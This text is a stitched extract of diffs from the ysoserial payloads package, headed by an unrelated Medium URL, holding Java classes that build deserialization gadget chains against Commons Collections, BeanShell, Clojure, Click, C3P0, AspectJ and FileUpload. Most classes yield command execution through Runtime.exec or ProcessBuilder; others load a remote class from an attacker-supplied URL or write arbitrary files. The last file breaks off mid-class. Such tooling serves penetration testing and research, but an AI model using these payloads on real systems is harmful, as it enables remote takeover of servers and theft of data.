https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
@@ -0,0 +1,62 @@
package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
@@ -0,0 +1,91 @@
package ysoserial.payloads;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
+81
View File
@@ -0,0 +1,81 @@
package ysoserial.payloads;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
Chain:
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
...
Arguments:
- command to execute
Yields:
- RCE via TemplatesImpl.getOutputProperties()
Requires:
- Apache Click
- servlet-api of any version
by @artsploit
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({ Authors.ARTSPLOIT })
public class Click1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Click1.class, args);
}
}
@@ -0,0 +1,74 @@
package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
// final String[] execArgs = command.split(" ");
// final StringBuilder commandArgs = new StringBuilder();
// for (String arg : execArgs) {
// commandArgs.append("\" \"");
// commandArgs.append(arg);
// }
// commandArgs.append("\"");
// final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);
fnMap.put("hashCode",
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args);
}
}
+44
View File
@@ -0,0 +1,44 @@
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
@@ -10,7 +10,11 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -37,6 +41,9 @@ import ysoserial.payloads.util.Reflections;
commons-collections commons-collections
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -70,7 +77,11 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args); PayloadRunner.run(CommonsCollections1.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
} }
+8 -16
View File
@@ -6,12 +6,12 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/* /*
Gadget chain: Gadget chain:
@@ -22,23 +22,15 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires:
commons-collections4
*/ */
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final Object templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
// mock method name until armed // mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
@@ -54,12 +46,12 @@ public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
// switch contents of queue // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; queueArray[0] = templates;
queueArray[1] = new Gadgets.TransletPayload().withCommand(command); queueArray[1] = 1;
return queue; return queue;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args); PayloadRunner.run(CommonsCollections2.class, args);
} }
+68
View File
@@ -0,0 +1,68 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -0,0 +1,64 @@
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}
@@ -0,0 +1,99 @@
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
@@ -0,0 +1,109 @@
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}
@@ -0,0 +1,87 @@
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
}
@@ -0,0 +1,10 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface DynamicDependencies {
}
@@ -0,0 +1,119 @@
package ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/
@Dependencies ( {
"commons-fileupload:commons-fileupload:1.3.1",
"commons-io:commons-io:2.4"
} )
